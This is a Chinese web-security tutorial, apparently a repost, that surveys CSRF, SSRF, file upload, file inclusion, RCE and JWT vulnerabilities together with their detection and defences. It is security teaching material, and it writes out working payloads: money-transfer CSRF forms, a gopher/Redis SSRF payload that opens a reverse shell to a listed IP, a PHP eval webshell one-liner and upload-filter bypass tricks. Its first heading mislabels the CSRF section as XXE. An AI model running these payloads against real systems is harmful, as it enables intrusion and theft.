外部实体注入
1.1发生方式
第三方网站利用当前网站生效的cookie,从而请求服务器的接口去进行攻击(如转账、修改用户信息等敏感接口)
1.2典型案例
GMali
--->设置邮件转发(2007年)
微博
--->自动关注账号
1.3漏洞危害
1、修改账户信息
2、利用管理员账号,上传木马文件
3、传播蠕虫病毒(点击、扩散、点击...)
4、和其他攻击手段配配合攻击(XSS、SQL注入)
1.4攻击方式
1、通过图片的img src属性,自动加载,发起get请求
<
imgsrc="http:
//
superbank.com
/
bank
/
transfer.php
?
nameid
=
2002&amount1000
"
width
=
"0"
height
=
"0"
>
2、构成一个超链接,用户点击以后,发起GET请求
<
a
href
=
"http://superbank.com/transfer.php?amount=10008to=jiangang"
taget
=
" blank"
>
小姐姐在线视频聊天!!
<
a
/>
3、构建一个隐藏表单,用户访问,自动提交,发起POST请求
<
form
action
=
"http://superbank.com/withdraw"
method
=
POST
>
<
input
type
=
"hidden"
name
=
"account"
value
=
"xiaoming"
/>
<
input
type
=
"hidden"
name
=
"amount"
value
=
"1000"
/>
<
input
type
=
"hidden"
name
=
"to"
value
=
"jiangang"
/>
</
form
>
<
script
>
document
.forms[
0
].submit();
</
script
>
1.5检测思路
1
、使用BP的CSRF POC功能
2
、工具CSRF Tester(半自动)
3
、https:
//github.com/s0md3v/Bolt(全自动)
4
、各种云产品,扫描检测(给钱就行)
1.6防御措施
1
、使用Referer进行一个简单效验(但是Referer可以被修改)
2
、使用token验证(不是
100
%安全)
<iframe src=
"../csrf"
onload=alert(frames[
0
].document.getElementsByName(
'user token'
[
0
].
value
)>
3
、敏感接口调用的二次验证:验证码、短信、扫码、人脸识别等
4
、不好奇、不乱点(使用者角度)
SSRF 服务端请求伪造
2.1发生方式
是一种由攻击者构造形成由服务端发起的请求的一个安全漏洞(只要是一个网页或者服务器的代码加载了其他地址的内容就可能会出现ssrf漏洞)
2.2典型案例
1、社会化分享功能
2、转码服务(电脑网页转手机网页)
3、在线翻译(整个网站的翻译)
4、在线网站的图片加载和下载功能
5、图片、文章的收藏功能
6、网站采集、网站抓取的功能
2.3漏洞危害
1、扫描资产
2、获取敏感信息
3、攻击内网服务器(绕过防火墙)
4、访问大文件,造成溢出
5、通过Redis写入WebShell或者建立反弹连接
2.4攻击方式
1、PHP常见的引发SSRF漏洞的函数:
curl_exec():执行curl会话
file_get_contents():将整个文件读入一个 字符串
fsockopen():打开一个网络连接或者一个Unix套接字
2、CURL其他协议
file协议:curl -v 'file:///etc/passeword' 查看文件
dict:http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306 探测端口
gopher:curl -v
'gopher://127.0.0.1:6379/ *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 **** bash -i>&/dev/tcp/192.168.142.135/4444
&1%0a%0a%0a%0d%0a*4%0d%0a
$6
%0d%0aconfig%0d%0a
$3
%0d%0aset%0d%0a
$3
%0d%0adir%0d%0a
$16
%0d%0a/var/spool/cron%0d%0a*4%0d%0a
$6
%0d%0aconfig%0d%0a
$3
%0d%0aset%0d%0a
$10
%0d%0adbfilename%0d%0a
$4
%0d%0aroot%0d%0a*1%0d%0a
$4
%0d%0asave%0d%0a*1%0d%0a
$4
%0d%0aquit%0d%0a
' 反弹shell
2.5检测思路
1、爬取地址,然后查看是否请求了其他资源
2、使用Google语法 inurl 搜索关键字:share、wpa、url、link、src、
source
、target、u3g、display、soruceURL、imageURL、domain
3、github上搜SSRF-Testing(工具)
2.6防御措施
1、禁用协议
2、限制请求端口
3、设置URL白名单
4、过滤返回信息
5、统一错误提示
文件上传
3.1发生方式
用户上传了一个可执行的脚本文件,通过这个脚本文件获得执行服务器端命令的能力(这个脚本叫做webshell或者后门、木马,各种编程语言都存在)
3.2典型案例
发生前提:
1、网站上传功能正常使用
2、文件类型允许上传
3、上传路径可以确认
4、文件可以被访问,可以被执行或者被包含
3.3漏洞危害
直接后果:
执行任意操作系统命令
利用方式:
1、挂黑链
2、挖矿
3、敏感文件泄露
3.4攻击方式
1
、一句话木马
@
eval
($_post[
'string'
]);
string = system(ipconfig);(传值)
2
、更多可见:github.com/tennc/webshell
3
、常见的网站控制工具:
中国菜刀
中国蚁剑
weevely
哥斯拉
冰蝎(动态的二进制加密网站管理客户端)
4
、利用流程
找到上传位置
绕过效验,上传文件
获得文件的位置
蚂剑链接,管理文件
5
、如果绕过效验
删除/禁用JS、修改MIME、等价扩展名、大小写htaccess、双写、空格、点、::$DATA、%
00
截断、
0x00
截断、图片马、条件竞争等等.
3.5检测思路
1
、通过菜单的地方一个一个去点,找上传点
2
、如果能拿到源码,可搜索关键字:upload等
3
、利用Redis KV 持久化+未授权访问的漏洞
4
、通过MySql读写
select
into
file…
5
、利用百度网盘等工具传播shell(包含木马的CMS系统)
6
、自动化工具:https:
//github.com/almandin/fuxploider
3.6防御措施
1、对文件的扩展名进行效验,可以做黑白名单
2、MIME类型效验(image/gif)
3、文件内容头效验(GIF89a)
4、对文件内容进行二次渲染
5、对上传文件重命名,不易猜测
6、不要暴露上传文件的位置
7、禁止上传文件的执行权限
文件包含
4.1发生方式
一个代码文件需要去包含另一个代码文件而导致的漏洞(分为:内容包含、函数包含)
4.2典型案例
利用流程:
发现漏洞
上传shell/读取敏感文件(FUZZ)
执行恶意代码
4.3漏洞危害
1、导致任意文件被访问
2、上传包含shell代码文件
4.4攻击方式
1、本地文件包含(LFI):Local File Inclusion
固定文件名
通过接口动态包含
包含恶意代码,或者图片马:获得shell
包含系统的敏感文件
2、远程文件包含(RFL):Remote File Inlusion
前提:必须开启否则不存在
php.ini
allow_url_fopen=on
allow_url_include]=on
3、可能造成文件漏洞的函数(php):
include():包含并运行指定文件
include_once()只包含一次,不重复
require():和include一样不过出错时会停止
require_once():和include_once() 一样
fopen():打开文件或者URL
readfile:读取文件并写入到输出缓冲
highlight_file:语法高亮一个文件
show_source:同上
file_get_contents:将整个文件读入字符串
file:把文件读入一个数组中
PHP伪协议:https://www.php.net/manual/zh/wrappers.php
4.5检测思路
1、URL关键字:page、file、filename、
include
、xxx.php、xxx.html
2、使用了某些函数(见上)
3、自动化工具:github.com/D35m0nd142/LFISuite
4.6防御措施
1、PHP配置
2、禁用动态包含
3、过滤协议、目录字符
4、设置文件白名单
RCE 远程代码执行
5.1发生方式
为了内部执行方便,开发了某些执行命令或者代码的接口,被黑客发现进行恶意攻击。
远程代码一旦发生,便是高危,是黑客的最爱。
5.2典型案例
CVE-2021-3177Python RCE漏洞
CVE-2021-21972VMWare RCE漏洞
CVE-2021-25646Apache Druid RCE漏洞
5.3漏洞危害
1、获取服务器权限
2、获取敏感数据文件
3、写入恶意文件getshell
4、植入木马病毒勒软件等
5.4攻击方式
1、命令注入相关函数
system():执行外部程序并现实输出
exec()/shell_exec():通过shell环境执行命令,兵将完整的输出以字符串的方式返回
pcntl_exec():在当前进程空间执行指定程序
passthru()执行程序并显示原始输出
popen():打开进程文件指针
proc_open():执行一个命令,并且用来打开输入输出的文件指针
2、代码注入相关函数
eval():把字符串code作为PHP代码执行
assert():检查断言是否为false
preg_replaca():执行一个正则的搜索和替换
create_function():创建一个匿名函数返回函数名称
call_user_func()/call_user_func_array():把第一个参数作为回调函数用
usort()/uasort():使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
3、windows命令拼接符号
&&:左边执行成功,右边才执行
&:简单拼接
|:上条命令的输出作为下条命令的参数
||:左边执行失败,右边菜执行
5.5检测思路
1.检测相关函数
5.6防御措施
1、开源框架升级到最新版本
2、尽量不要使用命令执行函数
3、如果需使用,需要做白名单
4、用正则对用户输入的内容进行处理
5、使用WAF
JWT 身份验证漏洞
6.1发生方式
利用缺乏机密性能轻松解码有效载荷(payload)和报头(headers),用户插入另一个操作(例如删除)并绕过授权
6.2典型案例
(
CVE
-
2015
-
2951
) alg=
none
签名绕过漏洞
(
CVE
-
2016
-
10555
)
RS
/
HS256
公钥不匹配漏洞
(
CVE
-
2018
-
0114
)密钥注入漏洞
(
CVE
-
2019
-
20933
/
CVE
-
2020
-
28637
)空白密码漏洞
(
CVE
-
2020
-
28042
)空签名漏洞
6.3漏洞危害
盗用用户身份:在没有足够保护的情况下,攻击者可以盗用加密后的 JWT 并解密其中的信息,从而获取海量敏感数据,比如用户名、密码、银行卡号等,进而伪造用户身份。
是无状态的,如果未对其进行防篡改处理,攻击者可以更改 JWT 中的数据,比如将用户权限提升或篡改签名,从而获得更高的访问权限。
CSRF
攻击:如果在 JWT 中存储了敏感数据,比如用户凭证等,那么在用户首次登录时,浏览器会自动存储 JWT,在后续访问中再带上该令牌。攻击者可以通过 CSRF(跨站请求伪造)攻击,伪造一个跨站请求提交表单,让用户的浏览器携带其 JWT 访问第三方网站,从而导致 JWT 被窃取,从而产生安全风险。
6.4攻击方式
1、具体实现方式:
算法为none
算法修改
签名失败问题
暴力破解
密钥泄露
令牌刷新
2、攻击思路
首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将该请求包重放测试:
1)未授权访问:删除Token后仍然可以正常响应对应页面
2)敏感信息泄露: 通过JWt.io解密出Payload后查看其中是否包含敏感信息如弱加密的密码等
3)破解密钥+越权访问:通过WTio解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料
6.5检测思路
1
、利用工具
jwt tool (git
clone
https:
//github.com/ticarpi/jwt tool)可以用来验证、伪造和破解JWT令牌。
jwt-cracker该工具仅限于单一的签名算法(HS256),如果提供了不同的签名算法,则无法进行操作https:
//github.com/lmammino/iwt-cracker
c-jwt-cracker同样是暴力破解JWT 私钥的工具https:
//qithub.com/brendan-rius/c-jwt-cracker
6.6防御措施
加强签名算法、使用HTTPS传输数据、禁止存储敏感信息等,同时还需要定期检查和更新JWT的实现,防止存在新的安全漏洞。
原文始发于微信公众号(零漏安全):TOP10 漏洞详解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论